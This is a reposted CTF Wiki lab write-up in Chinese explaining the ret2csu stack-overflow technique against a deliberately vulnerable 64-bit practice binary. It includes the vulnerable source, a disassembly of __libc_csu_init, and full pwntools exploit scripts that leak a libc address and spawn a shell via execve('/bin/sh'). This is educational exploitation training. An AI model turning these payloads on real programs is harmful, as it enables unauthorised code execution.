[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu相关的知识,希望对你有一定的参考价值。

1、检查保护机制

checksec的结果:
在这里插入图片描述

2、源码

该题的程序源码为:

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
	write(STDOUT_FILENO, "Hello, World\\n", 13);
	vulnerable_function();
}

溢出点为read函数。

3、ret2csu的原理

有很多资料可以参考,此处略过。

4、这道题能否使用常规的ret2libc方法?

4.1 ret2libc方法的分析

事实上,ret2scu可以归类到ret2libc,本节旨在引出ret2scu和ret2libc常规方法的区别,因此将ret2scu从ret2libc中单列出来。
这道题的源代码只有6行两个函数,既没有system,也没有/bin/sh,那么能否采用常规ret2libc的方法解决呢?如果要ret2libc,就需要泄露libc中某个函数的地址,本题中只能是write函数,write函数调用一遍后,got表中的地址项就指向了libc中write函数的地址。
在read函数的溢出点,可将返回值覆盖为write函数,其相应的参数应为rdi = 0,rsi为write函数got表项(该表项指向libc中write函数的真实地址),rdx = 8。通过这种方法,就可以泄露write在libc中的地址。
为达到这种要求,需要调用write前摆好相应的寄存器,这些值可通过查找gadget片段来看,是否能够获得。可通过如下三条命令来查找:

ROPgadget --binary level5 | grep "rdi"
ROPgadget --binary level5 | grep "rsi"
ROPgadget --binary level5 | grep "rdx"

上述三条命令只能找到rdi和rsi的gadget片段,但缺失rdx的gadget片段,因此,使用常规的ret2libc的思路并无法解出这道题。
解答本题需要采用ret2scu,ret2scu也是在ret2libc中一般方法无法奏效时,所采用的方法。

4.2 与Wiki ret2libc3的比较

[CTF Wiki Pwn]Stackoverflow Lab006: ret2libc3实验中,泄露puts函数的payload为:

payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)

和本题的区别有两点:
一是本题为64位,需要提前把寄存器设置好;wiki ret2libc3是32位,需要把puts的参数放在stack上;设置寄存器需要特定的gadget片段,而把参数放在stack上更为容易;
二是本题中只能泄露write函数,该函数有三个参数需要提前设置好;wiki ret2libc3中泄露的是puts函数,该函数只有一个参数;从参数个数的角度看,ret2libc3也更为容易泄露libc中库函数的真实地址。

5、解题思路

本题的解题思路是构造三次payload,并最终执行execve(’/bin/sh’)。
第一次payload是利用栈溢出执行libc_csu_init函数中的gadget,部署write函数参数并通过write函数got表地址调用write函数打印自身的函数地址,最后重新执行main函数为接下来做准备;
第二次payload是利用栈溢出执行libc_csu_init函数中的gadget,通过read函数got表地址调用read函数向bss段写入execve函数地址以及/bin/sh字符串,并再次重新执行main函数为接下来做准备;
第三次payload是利用栈溢出执行libc_csu_init函数中的gadget,执行写入bss段的execve(’/bin/sh’)。
执行三次payload 的程序流程为:
在这里插入图片描述

6、泄露write函数地址(第一次payload)

6.1 __libc_csu_init函数

ret2csu的目标是从__libc_csu_init函数入手,进行分析,该函数对应的汇编为:

00000000004005c0 <__libc_csu_init>:
  4005c0:       41 57                   push   r15
  4005c2:       41 56                   push   r14
  4005c4:       41 89 ff                mov    r15d,edi
  4005c7:       41 55                   push   r13
  4005c9:       41 54                   push   r12
  4005cb:       4c 8d 25 3e 08 20 00    lea    r12,[rip+0x20083e]        # 600e10 <__frame_dummy_init_array_entry>
  4005d2:       55                      push   rbp
  4005d3:       48 8d 2d 3e 08 20 00    lea    rbp,[rip+0x20083e]        # 600e18 <__init_array_end>
  4005da:       53                      push   rbx
  4005db:       49 89 f6                mov    r14,rsi
  4005de:       49 89 d5                mov    r13,rdx
  4005e1:       4c 29 e5                sub    rbp,r12
  4005e4:       48 83 ec 08             sub    rsp,0x8
  4005e8:       48 c1 fd 03             sar    rbp,0x3
  4005ec:       e8 0f fe ff ff          call   400400 <_init>
  4005f1:       48 85 ed                test   rbp,rbp
  4005f4:       74 20                   je     400616 <__libc_csu_init+0x56>
  4005f6:       31 db                   xor    ebx,ebx
  4005f8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  4005ff:       00
  400600:       4c 89 ea                mov    rdx,r13
  400603:       4c 89 f6                 mov    rsi,r14
  400606:       44 89 ff                  mov    edi,r15d
  400609:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40060d:       48 83 c3 01           add    rbx,0x1
  400611:       48 39 eb                cmp    rbx,rbp
  400614:       75 ea                     jne    400600 <__libc_csu_init+0x40>
  400616:       48 83 c4 08           add    rsp,0x8
  40061a:       5b                          pop    rbx
  40061b:       5d                          pop    rbp
  40061c:       41 5c                     pop    r12
  40061e:       41 5d                     pop    r13
  400620:       41 5e                     pop    r14
  400622:       41 5f                      pop    r15
  400624:       c3                          ret

两处关键的gardet片段的开始地址分别为:0x400600和0x40061a。

6.2 泄露过程和栈空间

本题的溢出点是read函数,主要思路是用csu函数中的gadget片段覆盖返回值地址,把write函数的几个参数设置好,最终调用write函数把其在libc中的真实地址泄露出来。
泄漏时,栈空间的布局为:
在这里插入图片描述

6.3 泄露write的exp

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
raw_input()

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a

def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
    payload = 'a' * 0x88
    payload += p64(csu_behind_gadget)
#    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'a' * 56
    payload += p64(main)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\\n')
csu(0,0, 1, write_got, 8, write_got, 1, main_addr)

#write_addr = sh.recv(8)
write_addr = u64(sh.recv(8))
print hex(write_addr)

sh.interactive()

执行该python脚本后,可得到泄露出的write函数的地址为:0x7ffb5cb5d3b0

7、bss段写入shellcode(第二次payload)

在上一节,成功泄露了write函数在libc中的地址,接着就可以根据write函数在libc中的真实地址计算出libc的基地址,并计算出system或execve,以及/bin/sh在libc中的地址。
计算该地址有四种方法:
(1)使用Libcsearcher库;
(2)通过在线网站libc database search进行计算;
(3)使用命令手工查找(如:readelf、strings等);
(4)使用ELF接口计算。

前两种是自动计算,所以效率较高,但存在计算结果错误的情况,如果打不通,就可以通过后两种方法进行核对。
在四种方法的选择上,建议(4)>(3)>(2)>(1),也可集中方法结合进行互补计算。
我们先用在线网站进行查找:
在这里插入图片描述
查找到的版本是libc6_2.19-0ubuntu6.15_amd64,实际上,运行是的版本为2.23,我们先用2.19查找几个地址,而后再手工进行核对。

  • write的offset为:0x0ef3b0
  • system的offset为:0x046590
  • str_bin_sh的offset为:0x180543
  • execve的offset为:c5130

下面手工进行核对:

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "write"

write的偏移为f73b0.

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "system"

system的偏移为0x453a0.

strings /lib/x86_64-linux-gnu/libc-2.23.so -tx|grep "/bin/sh"

"/bin/sh"的偏移为0x15bb2b.

readelf -a /lib/x86_64-linux-gnu/libc-2.23.so| grep "execve"

execve的偏移为0xcc7f0.
说明,在线网站给出的结果有误,我们使用手工查找的结果填入payload。
那么,这部分需要发送的payload如下:

sh.recvuntil('Hello, World\\n')
#raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\\x00')

堆栈的布局图就不画了,与上面的类似。

8、两个小知识点

到这里,我们插入两个小的知识点,或者可能的疑惑:
第一点:每次运行时,level5没有开pie,为什么write函数的真实地址是否会变化?
虽然level5的pie是关掉的,但libc2.23的pie是打开的,很多人容易把二进制程序和动态链接的so混在一起考虑,这样会对分析造成影响。请对下面图中两者的保护机制再对比一下,以免分析时混为一谈。
在这里插入图片描述
第二点:这个题中,gdb调试到第二次payload跳转到csu的call read时,ni后会卡在那里。主要原因是,gdb调试和python脚本运行不同步,这时需要在发送第二次payload前,即在csu(0, 1, read_got, 16, bss_base, 0, main_addr)之前加入raw_input()。

9、执行/bin/sh(第三次payload)

最后是调用execve函数,主要是将bss首地址(execve函数地址)和bss+8(/bin/sh)在栈空间摆好,然后跳转到csu,调用执行。payload为:

sh.recvuntil('Hello, World\\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)

10、exp

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
#raw_input()

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#context.log_level = 'debug'

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_gadget = 0x0000000000400600
csu_behind_gadget = 0x000000000040061a

def csu(rbx, rbp, r12, r13, r14, r15, main):
    payload = 'a' * 0x88
    payload += p64(csu_behind_gadget)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_gadget)
    payload += 'a' * 56
    payload += p64(main)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
write_offset = libc.symbols['write']
system_offset = 0x3adb0
bin_sh_offset = 0x15bb2b
execve_offset = libc.symbols['execve']
libc_base = write_addr - write_offset
execve_addr = libc_base + execve_offset
#gdb.attach(sh)

sh.recvuntil('Hello, World\\n')
raw_input()
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr)+'/bin/sh\\x00')

sh.recvuntil('Hello, World\\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
sh.interactive()

以上是关于[CTF Wiki Pwn]Stackoverflow Lab007: ret2csu的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg